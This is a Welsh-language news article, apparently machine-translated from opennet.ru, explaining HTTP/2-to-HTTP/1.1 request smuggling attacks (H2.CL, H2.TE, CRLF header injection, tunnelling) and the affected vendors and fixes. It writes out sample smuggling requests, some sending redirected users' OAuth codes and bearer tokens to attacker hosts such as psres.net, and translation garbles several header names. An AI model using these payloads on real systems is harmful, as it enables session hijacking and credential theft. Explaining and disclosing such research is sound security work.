Ymosodiad newydd ar systemau pen blaen-gefn sy'n eich galluogi i rannu ceisiadau

Mae systemau gwe lle mae'r pen blaen yn derbyn cysylltiadau trwy HTTP/2 ac yn eu trosglwyddo i'r pen ôl trwy HTTP/1.1 wedi bod yn agored i amrywiad newydd o'r ymosodiad “Smyglo Cais HTTP”, sy'n caniatáu, trwy anfon ceisiadau cleient a ddyluniwyd yn arbennig, i lletem i gynnwys ceisiadau gan ddefnyddwyr eraill a broseswyd yn yr un llif rhwng blaen a chefn. Gellir defnyddio'r ymosodiad i fewnosod cod JavaScript maleisus mewn sesiwn gyda gwefan gyfreithlon, osgoi systemau cyfyngu mynediad a pharamedrau dilysu rhyng-gipio.

Mae'r broblem yn effeithio ar ddirprwyon gwe, cydbwyswyr llwyth, cyflymyddion gwe, systemau darparu cynnwys a ffurfweddiadau eraill lle mae ceisiadau'n cael eu hailgyfeirio o flaen pen i gefn. Dangosodd awdur yr astudiaeth y posibilrwydd o ymosod ar systemau Netflix, Verizon, Bitbucket, Netlify CDN ac Atlassian, a derbyniodd 56 mil o ddoleri mewn rhaglenni gwobrwyo am nodi gwendidau. Mae'r broblem hefyd wedi'i chadarnhau mewn cynhyrchion F5 Networks. Mae'r broblem yn effeithio'n rhannol ar mod_proxy yn y gweinydd Apache http (CVE-2021-33193), disgwylir atgyweiriad yn fersiwn 2.4.49 (hysbyswyd y datblygwyr am y broblem yn gynnar ym mis Mai a chawsant 3 mis i'w drwsio). Yn nginx, rhwystrwyd y gallu i nodi'r penawdau “Content-Length” ac “Transfer-Encoding” ar yr un pryd yn y datganiad diwethaf (1.21.1). Mae offer ymosod eisoes wedi'u cynnwys yn y pecyn cymorth Burp ac maent ar gael ar ffurf estyniad Turbo Intruder.

Mae egwyddor gweithredu'r dull newydd o rannu ceisiadau â thraffig yn debyg i'r bregusrwydd a nodwyd gan yr un ymchwilydd ddwy flynedd yn ôl, ond yn gyfyngedig i flaenebau sy'n derbyn ceisiadau dros HTTP/1.1. Gadewch inni gofio, yn y cynllun frontend-backend, bod ceisiadau cleientiaid yn cael eu derbyn gan nod ychwanegol - y blaen, sy'n sefydlu cysylltiad TCP hirhoedlog â'r pen ôl, sy'n prosesu ceisiadau'n uniongyrchol. Trwy'r cysylltiad cyffredin hwn, mae ceisiadau gan wahanol ddefnyddwyr fel arfer yn cael eu trosglwyddo, sy'n dilyn y gadwyn un ar ôl y llall, wedi'u gwahanu trwy'r protocol HTTP.

Roedd yr ymosodiad clasurol “Smyglo Cais HTTP” yn seiliedig ar y ffaith bod blaenwynebau a chefnau yn dehongli'r defnydd o benawdau HTTP “Content-Length” (yn pennu cyfanswm maint y data yn y cais) a “Transfer-Encoding: chunked” (yn caniatáu data i'w drosglwyddo mewn rhannau) yn wahanol. . Er enghraifft, os yw'r blaen ond yn cefnogi "Content-Length" ond yn anwybyddu "Trosglwyddo-Amgodio: chunked", yna gallai ymosodwr anfon cais sy'n cynnwys y penawdau "Content-Length" a "Transfer-Encoding: chunked", ond nid yw'r maint yn "Cynnwys-Hyd" yn cyfateb i faint y gadwyn dalpedig. Yn yr achos hwn, bydd y frontend yn prosesu ac yn ailgyfeirio'r cais yn unol â "Content-Length", a bydd y backend yn aros am gwblhau'r bloc yn seiliedig ar "Transfer-Encoding: chunked" a bydd y gynffon sy'n weddill o gais yr ymosodwr yn bod ar ddechrau cais rhywun arall a drosglwyddir nesaf.

Yn wahanol i'r protocol testun HTTP/1.1, sy'n cael ei ddosrannu ar lefel llinell, mae HTTP/2 yn brotocol deuaidd ac yn trin blociau data o faint a ragnodwyd. Fodd bynnag, mae HTTP/2 yn defnyddio ffug-benawdau sy'n cyfateb i benawdau HTTP rheolaidd. Yn achos rhyngweithio â'r pen ôl trwy'r protocol HTTP/1.1, mae'r blaen yn trosi'r penawdau ffug hyn yn benawdau HTTP tebyg HTTP/1.1. Y broblem yw bod y backend yn gwneud penderfyniadau ynghylch dosrannu'r ffrwd yn seiliedig ar y penawdau HTTP a osodwyd gan y blaen, heb gael gwybodaeth am baramedrau'r cais gwreiddiol.

Yn benodol, gellir trosglwyddo'r gwerthoedd "hyd cynnwys" ac "amgodio trosglwyddo" ar ffurf ffug-benawdau, er gwaethaf y ffaith nad ydynt yn cael eu defnyddio yn HTTP/2, gan fod maint yr holl ddata yn cael ei bennu mewn cae ar wahân. Fodd bynnag, yn ystod y broses o drosi cais HTTP/2 i HTTP/1.1, mae'r penawdau hyn yn cael eu cario drosodd a gallant ddrysu'r ôl-wyneb. Mae dau brif amrywiad ymosodiad: H2.TE a H2.CL, lle mae'r cefn yn cael ei gamarwain gan drosglwyddiad-amgodio anghywir neu werth hyd cynnwys nad yw'n cyfateb i faint gwirioneddol y corff cais a dderbyniwyd gan y frontend drwy'r Protocol HTTP/2.

Ymosodiad newydd ar systemau pen blaen-gefn sy'n eich galluogi i rannu ceisiadau

Enghraifft o ymosodiad H2.CL yw nodi maint anghywir yn y ffug-bennawd hyd cynnwys wrth anfon cais HTTP/2 i Netflix. Mae'r cais hwn yn arwain at ychwanegu pennawd HTTP tebyg Content-Length wrth gyrchu'r ôl-wyneb trwy HTTP/1.1, ond gan fod y maint yn Content-Length wedi'i nodi'n llai na'r un gwirioneddol, mae rhan o'r data yn y gynffon yn cael ei brosesu fel y ddechrau'r cais nesaf.

Er enghraifft, gofynnwch HTTP/2 : dull POST :path / n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Gwesteiwr: 02.rs?x.netflix.com Foo: bar

Bydd yn arwain at anfon cais i'r pen ôl: POST / n HTTP/1.1 Gwesteiwr: www.netflix.com Cynnwys-Length: 4 abcdGET / n HTTP/1.1 Gwesteiwr: 02.rs?x.netflix.com Foo: bar

Gan fod gan Content-Length werth o 4, bydd yr ôl-wyneb yn derbyn “abcd” yn unig fel corff y cais, a bydd gweddill “GET / n HTTP/1.1...” yn cael ei brosesu fel dechrau cais dilynol gysylltiedig â defnyddiwr arall. Yn unol â hynny, bydd y ffrwd yn cael ei dad-gydamseru ac mewn ymateb i'r cais nesaf, bydd canlyniad prosesu'r cais ffug yn cael ei gyhoeddi. Yn achos Netflix, arweiniodd nodi gwesteiwr trydydd parti yn y pennawd “Host:" mewn cais ffug at y cleient yn dychwelyd yr ymateb “Lleoliad: https://02.rs?x.netflix.com/n” a caniatáu i gynnwys mympwyol gael ei anfon at y cleient, gan gynnwys Rhedeg eich cod JavaScript yng nghyd-destun gwefan Netflix.

Mae'r ail opsiwn ymosodiad (H2.TE) yn cynnwys rhoi'r pennawd “Transfer-Encoding: chunked” yn ei le. Gwaherddir defnyddio'r ffug-bennawd amgodio trosglwyddo yn HTTP/2 gan y fanyleb a rhagnodir ceisiadau gydag ef i gael eu trin fel rhai anghywir. Er gwaethaf hyn, nid yw rhai gweithrediadau frontend yn ystyried y gofyniad hwn ac yn caniatáu defnyddio ffug-bennawd amgodio trosglwyddo yn HTTP/2, sy'n cael ei drawsnewid yn bennawd HTTP tebyg. Os oes pennyn “Trosglwyddo-Amgodio”, gall yr ôl-wyneb ei gymryd fel blaenoriaeth uwch a dosrannu'r data fesul darn yn y modd “talpio” gan ddefnyddio blociau o wahanol feintiau yn y fformat “{size}\r\n{block }\r\n{maint} \r\n{block}\r\n0", er gwaethaf y rhaniad cychwynnol yn ôl maint cyffredinol.

Dangoswyd presenoldeb bwlch o'r fath gan enghraifft Verizon. Roedd y broblem yn ymwneud â'r porth dilysu a'r system rheoli cynnwys, a ddefnyddir hefyd ar wefannau fel Huffington Post ac Engadget. Er enghraifft, cais cleient trwy HTTP/2: :dull POST :path /identitfy/XUI :awdurdod id.b2b.oath.com trosglwyddo-amgodio talpedig 0 GET /wps HTTP/1.1 Gwesteiwr: psres.net Cynnwys-Hyd: 10 x=

Wedi arwain at anfon cais HTTP/1.1 i'r backend: POST /identity/XUI HTTP/1.1 Gwesteiwr: id.b2b.oath.com Cynnwys-Hyd: 66 Trosglwyddo-Amgodio: chunked 0 GET /wps HTTP/1.1 Host: psres. net Cynnwys- Hyd: 10x=

Anwybyddodd y backend, yn ei dro, y pennawd "Content-Length" a pherfformiodd hollti yn y ffrwd yn seiliedig ar "Transfer-Encoding: chunked". Yn ymarferol, roedd yr ymosodiad yn ei gwneud hi'n bosibl ailgyfeirio ceisiadau defnyddwyr i'w gwefan, gan gynnwys rhyng-gipio ceisiadau'n ymwneud â dilysu OAuth, y dangoswyd y paramedrau ym mhennyn y Cyfeiriwr, yn ogystal ag efelychu sesiwn ddilysu a sbarduno system y defnyddiwr i anfon tystlythyrau i lu yr ymosodwr. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Awdurdodi: Cludwr eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Er mwyn ymosod ar weithrediadau HTTP/2 nad ydynt yn caniatáu i'r ffug-bennawd amgodio trosglwyddo gael ei nodi, mae dull arall wedi'i gynnig sy'n cynnwys amnewid y pennawd “Trosglwyddo-Amgodio” trwy ei gysylltu â ffug-benawdau eraill sydd wedi'u gwahanu gan nod llinell newydd ( pan gaiff ei drosi i HTTP/1.1 yn yr achos hwn mae'n creu dau bennawd HTTP ar wahân).

Er enghraifft, effeithiwyd ar Atlassian Jira a Netlify CDN (a ddefnyddir i wasanaethu tudalen gychwyn Mozilla yn Firefox) gan y broblem hon. Yn benodol, mae'r cais HTTP/2 :dull POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n\r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Cynnwys-Hyd: 5\r\n \r\nx=

arweiniodd at gais HTTP/1.1 POST / HTTP/1.1 yn cael ei anfon i'r cefn\r\n Gwesteiwr: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Gwesteiwr: evil-netlify-domain\r\n Cynnwys-Hyd: 5\r\n \r \nx=

Opsiwn arall ar gyfer amnewid y pennawd “Trosglwyddo-Amgodio” oedd ei atodi i enw ffug-bennawd arall neu i linell gyda dull cais. Er enghraifft, wrth gyrchu Atlassian Jira, achosodd yr enw ffug-bennawd "foo: bar\r\ntransfer-encoding" gyda'r gwerth "chunked" i'r penawdau HTTP "foo:bar" a "transfer-encoding: chunked" gael eu hychwanegu , a nodi ffug-bennawd ": method" gwerth "GET / HTTP/1.1\r\nTransfer-encoding: chunked" wedi'i gyfieithu i "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Cynigiodd yr ymchwilydd a nododd y broblem hefyd dechneg twnelu cais i ymosod ar flaenau, lle mae pob cyfeiriad IP yn sefydlu cysylltiad ar wahân i'r pen ôl ac nid yw traffig o wahanol ddefnyddwyr yn gymysg. Nid yw'r dechneg arfaethedig yn caniatáu ymyrryd â cheisiadau gan ddefnyddwyr eraill, ond mae'n ei gwneud hi'n bosibl gwenwyno storfa a rennir sy'n effeithio ar brosesu ceisiadau eraill, ac yn caniatáu amnewid penawdau HTTP mewnol a ddefnyddir i drosglwyddo gwybodaeth gwasanaeth o'r blaen i'r pen ôl ( er enghraifft, wrth ddilysu ar yr ochr flaen ym mhenawdau o'r fath yn gallu trosglwyddo gwybodaeth am y defnyddiwr presennol i'r pen ôl). Fel enghraifft o gymhwyso'r dull yn ymarferol, gan ddefnyddio gwenwyn cache, roedd yn bosibl ennill rheolaeth dros dudalennau yn y gwasanaeth Bitbucket.

Ffynhonnell: opennet.ru

Ychwanegu sylw